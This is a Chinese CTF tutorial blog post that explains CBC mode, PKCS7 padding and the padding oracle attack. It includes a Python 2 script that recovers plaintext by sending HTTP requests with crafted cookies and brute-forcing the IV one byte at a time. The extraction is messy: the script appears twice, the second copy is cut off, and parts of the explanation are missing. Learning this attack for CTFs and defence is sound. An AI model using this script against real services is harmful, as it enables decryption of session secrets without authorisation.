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[原创]Web手需要懂的Crypto｜Padding Oracle
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发表于: 2022-8-22 13:15
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CBC字节翻转和Padding Oracle这两个考点在2017-2018年的CTF题目中比较常见，没想到最近的巅峰极客2022的 babyweb 中再出现，总感觉知识点比较零散，这里尝试稍微系统的梳理下，水平有限，有误望师傅们指正
CBC全称Cipher Block Chaining模式（密文分组链接模式），每一个分组大小一般为128bits(16字节)，因而这里会出现两种情况：
密文：（加密后可能有不可见字符，为了方便网络传输和适应不同系统的编码方案）
需要注意的是，Padding Oracle Attack 攻击与具体的加密算法无关。
在前文有提及，如果明文的长度不是16字节的整数倍，需要对最后一个分组进行填充(padding)，CBC的填充规则有PKCS5和PKCS7的区别，这里使用的是PKCS7 ，即缺少N字节，就用 N 个 \xN 填充，如缺少7位则用 7 个 \x07 填充，因此，正确的填充格式有：
每次发送一个分组，则解密时都会用到IV
爆破分组最后一个字节：
根据 New_IV[-1] ^ Intermediary_Value [-1] = 0x01 爆破
New_IV[-1] 从0x00-0xFF 进行爆破，其中只有一个值能满足与 Intermediary_Value[-1] 异或结果为 0x01，也仅有这种 padding 情况能被认为是正常解密（二值推理）
根据逻辑运算得到最后一字节的明文
将 Intermediary_Value [-1] 与 IV[-1] （第一个分组）或 前一个密文分组的最后一位（其他分组）异或可以得到 Cipher[-1]
爆破分组倒数第二个字节
构造 New_IV[-1] ^ Intermediary_Value [-1] = 0x02
上一步已经得到了Intermediary_Value [-1] ，则
根据 New_IV[-2] ^ Intermediary_Value [-2] = 0x02 爆破
与爆破最后一个字节的思路相同
分组其他字节依此类推
0x010x02 0x02
0x03 0x03 0x03
....0x010x02 0x02
0x03 0x03 0x03
....New_IV[-1] ^ Intermediary_Value [-1] = 0x01
=> Intermediary_Value [-1] = New_IV[-1] ^ 0x01
New_IV[-1] ^ Intermediary_Value [-1] = 0x01
=> Intermediary_Value [-1] = New_IV[-1] ^ 0x01
New_IV[-1] = Intermediary_Value [-1] ^ 0x02
New_IV[-1] = Intermediary_Value [-1] ^ 0x02
import base64 as b64
import requests
secret = ''
url = ""
data = {
'username':"admin",
'password':"admin"
}cookie = {
"session": ""
}def padding(secret, xorValue, IV):
middle = []
pt = ''
for x in xrange(0,16):
for y in xrange(0,256):
tmp_IV = ''.join(IV)
cookie_pwd = b64.b64encode(tmp_IV + secret)
cookie.update({
'admin_password':cookie_pwd
})
res = requests.post(url=url,cookies=cookie,data=data).text
if 'padding error' in res:
IV[15-x] = chr(y)
elif 'False' in res:
print IV
IV[15-x] = chr(ord(IV[15-x]) ^ (x + 1))
middle.append(ord(IV[15-x]))
print middle
pt += chr(ord(IV[15-x]) ^ ord(xorValue[15-x]))
for z in xrange(0,x + 1):
IV[15-z] = chr(middle[z] ^ (x + 2))
break
else:
print res
exit()
if y == 255:
print '[!] Something wrong'
print x + 1
exit()
return pt[::-1]
plainText = ''
IV = ['\x00'] * 16
Right_IV = b64.b64decode(secret)[0:16]
secret = b64.b64decode(secret)[16:]
num = int(len(secret)/16)
for i in range(num):
s = secret[i*16:(i+1)*16]
if i == 0:
xorValue = Right_IV
else:
xorValue = secret[(i-1)*16:i*16]
plainText += padding(s,xorValue)
print '[+] PlaintText is : ' + plainText
import base64 as b64
import requests
secret = ''
url = ""
data = {
'username':"admin",
'password':"admin"
}cookie = {
"session": ""
}def padding(secret, xorValue, IV):
middle = []
pt = ''
for x in xrange(0,16):
for y in xrange(0,256):
tmp_IV = ''.join(IV)
cookie_pwd = b64.b64encode(tmp_IV + secret)
cookie.update({
'admin_password':cookie_pwd
})
res = requests.post(url=url,cookies=cookie,data=data).text
if 'padding error' in res:
IV[15-x] = chr(y)
elif 'False' in res:
print IV
IV[15-x] = chr(ord(IV[15-x]) ^ (x + 1))
middle.append(ord(IV[15-x]))
print middle
pt += chr(ord(IV[15-x]) ^ ord(xorValue[15-x]))
for z in xrange(0,x + 1):
IV[15-z] = chr(middle[z] ^ (x + 2))
break
else:
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